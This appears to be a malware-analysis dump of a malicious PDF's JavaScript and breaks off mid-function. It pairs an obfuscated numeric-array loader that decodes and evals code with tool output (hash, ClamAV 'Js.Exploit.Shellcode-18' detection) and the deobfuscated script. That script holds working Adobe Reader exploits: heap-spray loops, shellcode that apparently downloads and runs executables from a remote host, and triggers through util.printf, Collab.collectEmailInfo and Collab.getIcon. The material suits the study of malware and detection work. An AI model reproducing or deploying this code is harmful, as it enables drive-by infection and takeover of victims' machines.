58,58,170,146,163,164,161,81,110,81,151,154,169,144,154,165,89,170,146,163,164,161,93,81,157,150,159,90,108,62,59,58,58,167,146,163,81,148,160,166,159,165,99,81,110,81,89,148,148,81,94,81,97,169,101,97,97,97,97,97,90,96,146,149,149,163,108,62,59,58,58,151,160,163,81,89,167,146,163,81,148,160,166,159,165,81,110,81,97,108,81,148,160,166,159,165,81,109,81,148,160,166,159,165,99,108,81,148,160,166,159,165,92,92,90,172,62,59,58,58,58,158,150,158,144,146,163,163,146,170,140,148,160,166,159,165,142,81,110,81,170,146,163,164,161,81,92,81,164,153,150,157,157,148,160,149,150,108,62,59,58,58,174,62,59,58,58,167,146,163,81,160,167,150,163,151,157,160,168,81,110,81,166,159,150,164,148,146,161,150,89,83,86,166,97,148,97,148,86,166,97,148,97,148,83,90,108,62,59,58,58,168,153,154,157,150,81,89,160,167,150,163,151,157,160,168,95,157,150,159,152,165,153,81,109,81,101,101,106,102,99,90,172,62,59,58,58,58,160,167,150,163,151,157,160,168,81,92,110,81,160,167,150,163,151,157,160,168,108,62,59,58,58,174,62,59,58,58,165,153,154,164,95,148,160,157,157,146,147,132,165,160,163,150,81,110,81,116,160,157,157,146,147,95,148,160,157,157,150,148,165,118,158,146,154,157,122,159,151,160,89,172,164,166,147,155,107,81,83,83,93,158,164,152,107,81,160,167,150,163,151,157,160,168,174,90,108,62,59,58,174,62,59,62,59,58,151,166,159,148,165,154,160,159,81,148,160,157,157,146,147,144,152,150,165,154,148,160,159,89,90,172,62,59,58,58,154,151,81,89,146,161,161,95,149,160,148,95,116,160,157,157,146,147,95,152,150,165,122,148,160,159,90,172,62,59,58,58,58,167,146,163,81,146,163,163,170,81,110,81,159,150,168,81,114,163,163,146,170,89,90,108,62,59,58,58,58,167,146,163,81,167,167,161,150,165,153,170,146,81,110,81,166,159,150,164,148,146,161,150,89,83,86,166,118,115,118,106,86,166,97,97,97,98,86,166,102,103,97,97,86,166,114,98,103,101,86,166,97,97,100,97,86,166,97,97,97,97,86,166,101,97,105,115,86,166,105,115,97,116,86,166,98,116,104,97,86,166,105,115,114,117,86,166,97,105,101,97,86,166,116,100,102,118,86,166,105,115,102,102,86,166,105,115,118,116,86,166,97,105,101,102,86,166,100,100,102,99,86,166,116,98,117,99,86,166,97,100,116,99,86,166,98,97,100,99,86,166,105,97,101,97,86,166,97,97,100,105,86,166,119,102,104,102,86,166,116,99,105,115,86,166,102,117,102,114,86,166,97,101,116,99,86,166,102,102,97,97,86,166,118,116,105,115,86,166,102,98,102,98,86,166,102,103,102,100,86,166,103,97,102,104,86,166,102,117,105,115,86,166,100,100,97,105,86,166,105,115,116,97,86,166,97,116,104,102,86,166,119,118,105,115,86,166,104,103,97,100,86,166,105,115,100,116,86,166,104,105,101,118,86,166,116,119,97,100,86,166,102,98,105,115,86,166,102,99,98,116,86,166,102,98,105,115,86,166,102,99,99,101,86,166,104,98,105,115,86,166,101,118,98,101,86,166,104,102,105,106,86,166,105,115,119,116,86,166,99,97,104,98,86,166,119,104,97,100,86,166,101,114,106,106,86,166,101,99,114,117,86,166,100,115,103,97,86,166,119,116,102,102,86,166,97,101,104,102,86,166,116,97,100,100,86,166,100,104,118,115,86,166,119,119,100,100,86,166,101,102,97,100,86,166,106,104,97,116,86,166,116,119,105,115,86,166,104,102,114,118,86,166,99,115,119,117,86,166,101,119,119,106,86,166,118,105,102,98,86,166,119,119,106,101,86,166,119,119,119,119,86,166,116,100,100,115,86,166,104,101,103,98,86,166,118,115,97,99,86,166,105,115,117,106,86,166,97,116,101,102,86,166,102,118,106,99,86,166,119,99,97,100,86,166,118,97,117,98,86,166,116,103,97,100,86,166,116,106,100,100,86,166,115,104,97,119,86,166,102,119,97,105,86,166,118,98,116,98,86,166,97,100,97,99,86,166,97,100,116,114,86,166,105,115,116,119,86,166,97,100,97,98,86,166,105,106,116,99,86,166,119,105,101,102,86,166,105,115,103,98,86,166,119,105,101,102,86,166,102,118,102,119,86,166,116,106,102,115,86,166,102,102,116,100,86,166,118,116,105,115,86,166,118,105,102,98,86,166,119,119,101,106,86,166,119,119,119,119,86,166,103,105,102,97,86,166,103,97,118,105,86,166,97,101,115,119,86,166,103,116,118,105,86,166,119,119,119,119,86,166,100,100,119,119,86,166,102,99,117,99,86,166,119,119,102,99,86,166,97,105,104,102,86,166,117,97,119,119,86,166,101,102,105,106,86,166,105,115,119,116,86,166,119,116,101,102,86,166,116,100,116,106,86,166,105,115,102,102,86,166,105,100,118,116,86,166,97,116,118,116,86,166,101,102,105,117,86,166,102,97,119,101,86,166,101,102,116,103,86,166,104,102,119,101,86,166,101,102,116,103,86,166,104,99,119,102,86,166,101,102,116,103,86,166,103,116,119,103,86,166,101,102,116,103,86,166,103,117,119,104,86,166,101,102,116,103,86,166,103,119,119,105,86,166,101,102,116,103,86,166,103,118,119,106,86,166,101,102,116,103,86,166,99,118,119,114,86,166,101,102,116,103,86,166,103,101,119,115,86,166,101,102,116,103,86,166,103,116,119,116,86,166,101,102,116,103,86,166,103,116,119,117,86,166,101,102,116,103,86,166,97,97,119,118,86,166,114,97,118,105,86,166,119,119,119,119,86,166,102,97,119,119,86,166,102,117,103,105,86,166,98,98,105,114,86,166,118,105,98,103,86,166,119,119,98,102,86,166,119,119,119,119,86,166,116,101,105,100,86,166,105,102,97,116,86,166,104,101,116,97,86,166,103,114,98,102,86,166,103,114,97,97,86,166,119,119,97,97,86,166,97,116,104,102,86,166,104,102,119,119,86,166,103,114,97,105,86,166,119,119,97,97,86,166,105,102,117,97,86,166,104,102,116,97,86,166,101,97,97,100,86,166,116,100,116,106,86,166,116,97,100,100,86,166,116,100,116,106,86,166,100,100,102,104,86,166,105,115,116,97,86,166,99,101,101,116,86,166,105,115,97,116,86,166,99,101,104,116,86,166,119,116,97,105,86,166,114,114,119,100,86,166,116,100,102,119,86,166,101,116,105,115,86,166,97,101,99,101,86,166,100,106,105,97,86,166,105,115,97,97,86,166,104,101,116,98,86,166,101,97,97,103,86,166,100,105,105,97,86,166,104,102,97,97,86,166,99,115,119,114,86,166,116,100,116,98,86,166,105,115,102,102,86,166,105,100,118,116,86,166,103,101,118,116,86,166,105,117,102,100,86,166,119,97,101,102,86,166,100,100,102,104,86,166,102,97,117,115,86,166,101,102,116,103,86,166,103,115,119,97,86,166,101,102,116,103,86,166,103,102,119,98,86,166,101,102,116,103,86,166,104,99,119,99,86,166,101,102,116,103,86,166,103,118,119,100,86,166,101,102,116,103,86,166,103,102,119,101,86,166,101,102,116,103,86,166,103,116,119,102,86,166,101,102,116,103,86,166,100,100,119,103,86,166,101,102,116,103,86,166,100,99,119,104,86,166,101,102,116,103,86,166,99,118,119,105,86,166,101,102,116,103,86,166,103,101,119,106,86,166,101,102,116,103,86,166,103,116,119,114,86,166,101,102,116,103,86,166,103,116,119,115,86,166,102,117,105,105,86,166,118,105,119,116,86,166,119,119,97,115,86,166,119,119,119,119,86,166,103,105,102,97,86,166,101,100,103,105,86,166,105,118,119,106,86,166,105,97,118,105,86,166,119,119,119,118,86,166,105,115,119,119,86,166,105,117,119,105,86,166,106,116,101,102,86,166,101,101,103,114,86,166,118,105,102,97,86,166,119,119,104,118,86,166,119,119,119,119,86,166,101,102,105,117,86,166,103,114,118,97,86,166,102,97,98,97,86,166,104,100,118,105,86,166,119,119,119,119,86,166,105,100,119,119,86,166,98,116,116,101,86,166,101,102,105,117,86,166,102,97,118,97,86,166,101,102,105,117,86,166,102,97,106,116,86,166,102,100,102,100,86,166,102,100,102,100,86,166,102,100,102,100,86,166,104,102,119,119,86,166,116,104,97,105,86,166,106,116,101,102,86,166,97,97,101,101,86,166,97,97,97,97,86,166,119,119,102,100,86,166,102,119,117,104,86,166,115,103,97,119,86,166,102,115,116,97,86,166,116,100,116,106,86,166,105,115,102,102,86,166,102,98,118,116,86,166,102,100,102,98,86,166,102,104,102,103,86,166,101,99,103,114,86,166,104,99,118,105,86,166,97,97,97,97,86,166,105,115,97,97,86,166,100,100,117,105,86,166,105,102,119,103,86,166,102,106,117,115,86,166,101,102,116,104,86,166,103,98,119,105,86,166,103,102,99,118,86,166,116,104,104,105,86,166,119,116,101,102,86,166,97,97,103,102,86,166,97,97,97,97,86,166,102,103,104,118,86,166,101,102,105,117,86,166,102,97,119,105,86,166,118,105,102,103,86,166,97,97,102,98,86,166,97,97,97,97,86,166,102,97,102,106,86,166,115,98,118,105,86,166,119,119,119,118,86,166,105,102,119,119,86,166,102,106,116,97,86,166,104,101,102,106,86,166,105,117,100,106,86,166,97,98,101,103,86,166,118,105,102,97,86,166,97,97,100,115,86,166,97,97,97,97,86,166,119,105,105,115,86,166,101,102,105,117,86,166,102,97,119,105,86,166,99,98,118,105,86,166,119,119,119,119,86,166,105,102,119,119,86,166,102,106,116,97,86,166,104,101,102,106,86,166,102,104,97,116,86,166,97,98,118,105,86,166,119,119,119,119,86,166,102,106,119,119,86,166,101,101,116,103,86,166,119,119,100,105,86,166,102,97,104,100,86,166,101,102,105,117,86,166,119,118,119,105,86,166,102,105,97,97,86,166,101,102,105,117,86,166,102,97,119,105,86,166,118,105,102,104,86,166,119,118,104,101,86,166,119,119,119,119,86,166,102,106,102,106,86,166,101,103,101,103,86,166,119,100,100,115,86,166,114,114,104,116,86,166,102,118,102,119,86,166,116,106,102,115,86,166,102,102,116,100,86,166,118,116,105,115,86,166,102,100,102,98,86,166,103,97,103,103,86,166,100,99,115,98,86,166,97,97,118,105,86,166,97,97,97,97,86,166,102,105,97,97,86,166,97,105,100,105,86,166,97,100,104,101,86,166,118,115,101,97,86,166,101,97,119,106,86,166,102,117,105,115,86,166,105,97,97,105,86,166,101,99,119,115,86,166,97,105,104,102,86,166,117,115,100,100,86,166,98,105,105,114,86,166,116,100,105,115,86,166,98,104,118,115,86,166,98,105,100,105,86,166,98,98,104,103,86,166,100,100,101,97,86,166,105,101,116,106,86,166,104,101,117,115,86,166,101,97,97,116,86,166,97,105,100,105,86,166,119,115,104,102,86,166,119,118,101,97,86,166,118,115,116,115,86,166,100,100,119,99,86,166,105,106,116,97,86,166,119,116,101,102,86,166,101,102,105,115,86,166,102,115,119,116,86,166,116,100,116,106,86,166,97,99,100,99,86,166,104,101,103,105,86,166,104,97,104,101,86,166,99,119,100,114,86,166,103,106,99,119,86,166,104,97,104,100,86,166,104,99,103,106,86,166,104,101,103,106,86,166,104,101,103,98,86,166,104,100,104,102,86,166,103,100,99,118,86,166,99,119,103,118,86,166,103,106,103,116,86,166,103,102,103,101,86,166,99,119,104,99,86,166,104,97,104,100,86,166,103,119,103,116,86,166,104,101,103,106,86,166,103,101,99,119,86,166,103,116,103,106,86,166,104,105,104,99,86,166,100,99,104,106,86,166,103,102,99,118,86,166,103,102,104,105,86,166,103,105,97,97,86,166,104,101,104,101,86,166,100,114,104,97,86,166,99,119,99,119,86,166,104,100,103,106,86,166,103,106,104,97,86,166,103,106,104,99,86,166,103,98,104,101,86,166,104,102,104,101,86,166,99,118,104,100,86,166,103,118,103,100,86,166,103,116,99,119,86,166,103,101,103,106,86,166,104,99,103,102,86,166,104,100,99,119,86,166,103,116,104,97,86,166,103,106,103,119,86,166,99,119,104,101,86,166,103,116,103,100,86,166,103,100,103,106,86,166,99,118,103,115,86,166,103,105,104,97,86,166,100,119,104,97,86,166,100,117,104,99,86,166,97,97,97,97,83,90,108,62,59,58,58,58,167,146,163,81,153,136,162,102,97,97,116,127,81,110,81,167,167,161,150,165,153,170,146,95,157,150,159,152,165,153,81,91,81,99,108,62,59,58,58,58,167,146,163,81,157,150,159,81,110,81,97,169,101,97,97,97,97,97,81,94,81,89,153,136,162,102,97,97,116,127,81,92,81,97,169,100,105,90,108,62,59,58,58,58,167,146,163,81,170,146,163,164,161,81,110,81,166,159,150,164,148,146,161,150,89,83,86,166,106,97,106,97,86,166,106,97,106,97,83,90,108,62,59,58,58,58,170,146,163,164,161,81,110,81,151,154,169,144,154,165,89,170,146,163,164,161,93,81,157,150,159,90,108,62,59,58,58,58,167,146,163,81,161,102,114,155,124,103,102,151,81,110,81,89,97,169,97,148,97,148,97,148,97,148,81,94,81,97,169,101,97,97,97,97,97,90,81,96,81,97,169,101,97,97,97,97,97,108,62,59,58,58,58,151,160,163,81,89,167,146,163,81,167,162,148,130,117,106,103,170,81,110,81,97,108,81,167,162,148,130,117,106,103,170,81,109,81,161,102,114,155,124,103,102,151,108,81,167,162,148,130,117,106,103,170,81,92,92,81,90,172,62,59,58,58,58,58,146,163,163,170,140,167,162,148,130,117,106,103,170,142,81,110,81,170,146,163,164,161,81,92,81,167,167,161,150,165,153,170,146,108,62,59,58,58,58,174,62,59,58,58,58,167,146,163,81,165,134,126,153,127,147,120,168,81,110,81,166,159,150,164,148,146,161,150,89,83,86,97,106,83,90,108,62,59,58,58,58,168,153,154,157,150,81,89,165,134,126,153,127,147,120,168,95,157,150,159,152,165,153,81,109,81,97,169,101,97,97,97,90,172,62,59,58,58,58,58,165,134,126,153,127,147,120,168,81,92,110,81,165,134,126,153,127,147,120,168,108,62,59,58,58,58,174,62,59,58,58,58,165,134,126,153,127,147,120,168,81,110,81,83,127,95,83,81,92,81,165,134,126,153,127,147,120,168,108,62,59,58,58,58,146,161,161,95,149,160,148,95,116,160,157,157,146,147,95,152,150,165,122,148,160,159,89,165,134,126,153,127,147,120,168,90,108,62,59,58,58,174,62,59,58,174,62,59,62,59,58,151,166,159,148,165,154,160,159,81,161,149,151,144,164,165,146,163,165,89,90,172,62,59,62,59,58,58,167,146,163,81,167,150,163,164,154,160,159,81,110,81,146,161,161,95,167,154,150,168,150,163,135,150,163,164,154,160,159,95,165,160,132,165,163,154,159,152,89,90,108,62,59,58,58,167,150,163,164,154,160,159,81,110,81,167,150,163,164,154,160,159,95,163,150,161,157,146,148,150,89,96,141,117,96,152,93,88,88,90,108,62,59,58,58,167,146,163,81,167,146,163,164,154,160,159,144,146,163,163,146,170,81,110,81,159,150,168,81,114,163,163,146,170,89,167,150,163,164,154,160,159,95,148,153,146,163,114,165,89,97,90,93,81,167,150,163,164,154,160,159,95,148,153,146,163,114,165,89,98,90,93,81,167,150,163,164,154,160,159,95,148,153,146,163,114,165,89,99,90,90,108,62,59,58,58,154,151,81,89,89,167,146,163,164,154,160,159,144,146,163,163,146,170,140,97,142,81,110,110,81,105,90,81,87,87,81,89,167,146,163,164,154,160,159,144,146,163,163,146,170,140,98,142,81,110,110,81,97,90,81,173,173,81,89,167,146,163,164,154,160,159,144,146,163,163,146,170,140,98,142,81,110,110,81,98,81,87,87,81,167,146,163,164,154,160,159,144,146,163,163,146,170,140,99,142,81,109,81,100,90,90,172,62,59,58,58,58,166,165,154,157,144,161,163,154,159,165,151,89,90,108,62,59,58,58,174,62,59,58,58,154,151,81,89,89,167,146,163,164,154,160,159,144,146,163,163,146,170,140,97,142,81,109,81,105,90,81,173,173,81,89,167,146,163,164,154,160,159,144,146,163,163,146,170,140,97,142,81,110,110,81,105,81,87,87,81,167,146,163,164,154,160,159,144,146,163,163,146,170,140,98,142,81,109,81,99,81,87,87,81,167,146,163,164,154,160,159,144,146,163,163,146,170,140,99,142,81,109,81,99,90,90,172,62,59,58,58,58,148,160,157,157,146,147,144,150,158,146,154,157,89,90,108,62,59,58,58,174,62,59,58,58,154,151,81,89,89,167,146,163,164,154,160,159,144,146,163,163,146,170,140,97,142,81,109,81,106,90,81,173,173,81,89,167,146,163,164,154,160,159,144,146,163,163,146,170,140,97,142,81,110,110,81,106,81,87,87,81,167,146,163,164,154,160,159,144,146,163,163,146,170,140,98,142,81,109,81,98,90,90,172,62,59,58,58,58,148,160,157,157,146,147,144,152,150,165,154,148,160,159,89,90,108,62,59,58,58,174,62,59,58,174,62,59,62,59,58,161,149,151,144,164,165,146,163,165,89,90,108,62,59,58],cjkot=function(){for(var dflpu;klnqw<fhkmrs.length;klnqw+=1){var ghjopw=klnqw%cehk.length+1;var gjmn=cehk.substring(klnqw%cehk.length,ghjopw);var jbozc=fhkmrs[klnqw];tfmz+=bfjr(jbozc-gjmn.charCodeAt(0));} dfgqr(tfmz);};cjkot();flrtv=45930;ezgwo="ezgwo";jprwx=10256;pqrtvx="";zjxwv='';fkoqrw=19812;gjms="gjms";fjrs="fjrs";dehmo="";hzole="";dnost='';cesvwy=7887;bfirt='';ondczs="ondczs";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10120 bytes
SHA-256: `d5b2557810d0e41dd9dffcc53ddee6550ff3c4a1b545a0ba96b60b36f5b66e3b`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u7073%u7269%u7469%u7461%u7375%u632E%u2F6E%u696C%u6564%u2F72%u7073%u6F6C%u7469%u662F%u7271%u7574%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7369%u6970%u6972%u6174%u7574%u2E73%u6E63%u6C2F%u6469%u7265%u732F%u6C70%u696F%u2F74%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u7073%u7269%u7469%u7461%u7375%u632E%u2F6E%u696C%u6564%u2F72%u7073%u6F6C%u7469%u622F%u6563%u7567%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7369%u6970%u6972%u6174%u7574%u2E73%u6E63%u6C2F%u6469%u7265%u732F%u6C70%u696F%u2F74%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u7073%u7269%u7469%u7461%u7375%u632E%u2F6E%u696C%u6564%u2F72%u7073%u6F6C%u7469%u642F%u6C69%u7872%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7369%u6970%u6972%u6174%u7574%u2E73%u6E63%u6C2F%u6469%u7265%u732F%u6C70%u696F%u2F74%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = 